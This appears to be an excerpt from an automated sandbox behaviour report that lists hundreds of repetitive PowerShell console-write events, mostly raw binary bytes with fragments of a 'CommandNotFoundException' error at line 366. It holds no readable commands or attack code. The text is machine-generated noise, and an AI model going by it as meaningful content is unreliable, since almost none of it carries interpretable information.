Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G...............Q..k.....=..............................}..v.....=......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S..................k....@_..............................}..v.....B......0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S...............Q..k....XC..............................}..v.....C......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w...._..................k....@_..............................}..v.....J......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w...._...............Q..k....XK..............................}..v.....K......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....k....... . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v.....O......0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....k...............Q..k.....P..............................}..v....0Q......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....w..................k....@_..............................}..v....pV......0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....w...............Q..k....(W..............................}..v.....W......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ ..........k....@_..............................}..v....8[......0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....[..............................}..v....p\......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....`#......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....$..............................}..v.....$......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....`+......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....,..............................}..v.....,......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....1......0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....2..............................}..v....(3......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v....@7......0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....7..............................}..v....x8......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....=......0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....P>..............................}..v.....>......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....E......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....PF..............................}..v.....F......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v.....J......0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....K..............................}..v....(L......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....hQ......0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.... R..............................}..v.....R......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ ..........k....@_..............................}..v....0V......0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....V..............................}..v....hW......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....z......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....{..............................}..v....(|......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....(.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#..................k....@_..............................}..v............0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#...............Q..k....8...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../.......A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v............0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../...............Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;..................k....@_..............................}..v....(.......0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;...............Q..k....................................}..v....`.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G..................k....@_..............................}..v....(.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G...............Q..k....................................}..v....`.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S....... . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v............0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S...............Q..k....8...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w...._..................k....@_..............................}..v............0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w...._...............Q..k....................................}..v....0.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....k....... ..........k....@_..............................}..v............0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....k...............Q..k....x...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....8...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....................................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....8...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....H.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v....`.......0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....p...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....p...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v............0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....H.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....@...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ ..........k....@_..............................}..v....P.......0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....p*......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....(+..............................}..v.....+......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....p2......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....(3..............................}..v.....3......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....9......0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................Bw............................. .................................................v..............\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v....P>......0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....?..............................}..v.....?......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#..................k....@_..............................}..v.....D......0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#...............Q..k....`E..............................}..v.....E......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../..................k....@_..............................}..v.....L......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../...............Q..k....`M..............................}..v.....M......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;....... . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v.....R......0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;...............Q..k.....R..............................}..v....8S......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G..................k....@_..............................}..v....xX......0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G...............Q..k....0Y..............................}..v.....Y......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S....... ..........k....@_..............................}..v....@]......0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S...............Q..k.....]..............................}..v....x^......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....g..................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....g...............Q..k....................................}..v....8.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....s..................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....s...............Q..k....................................}..v....8.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....H...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v............0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....8.......0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....p.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....8.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....p.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v............0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....H...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....@.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ ..........k....@_..............................}..v............0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....H...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....H...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.... .......0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....X.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v....p.......0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....(...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#....... . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v.... .......0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#...............Q..k....................................}..v....X.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../..................k....@_..............................}..v............0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../...............Q..k....P...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;....... ..........k....@_..............................}..v....`.......0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;...............Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....O..................k....@_..............................}..v.... 1......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....O...............Q..k.....1..............................}..v....X2......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....[..................k....@_..............................}..v.... 9......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................0.......[.........................q..... .......................}..v....X:...... ................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....g..................k....@_..............................}..v.....?......0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....g...............Q..k....h@..............................}..v.....@......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....s.......A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v.....E......0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....s...............Q..k.....E..............................}..v....8F......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....XK......0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....L..............................}..v.....L......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....XS......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................E.u.....................Q..k.....T..............................}..v.....T......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v.....X......0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....hY..............................}..v.....Y......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....(_......0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....._..............................}..v....``......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ ..........k....@_..............................}..v.....c......0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....d..............................}..v....(e......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....P.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....P.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v....0.......0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....h.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....@...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....@...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v............0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....X.......0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#....... ..........k....@_..............................}..v.... .......0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#...............Q..k....................................}..v....X.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....7..................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....7...............Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....C..................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....C...............Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....O..................k....@_..............................}..v....p.......0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................E.u.....O...............Q..k....(...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....[.......A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v............0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....[...............Q..k....x...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....g..................k....@_..............................}..v............0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....g...............Q..k....................................}..v....P.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....s..................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....s...............Q..k....................................}..v....P.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v....p.......0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....(...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v.... .......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ ..........k....@_..............................}..v............0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....h...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....p8......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....(9..............................}..v.....9......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....p@......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....(A..............................}..v.....A......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....G......0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....G..............................}..v....8H......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v....PL......0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....M..............................}..v.....M......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....R......0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....`S..............................}..v.....S......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....Z......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....`[..............................}..v.....[......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v.....`......0................[......,....................... Jump to behavior
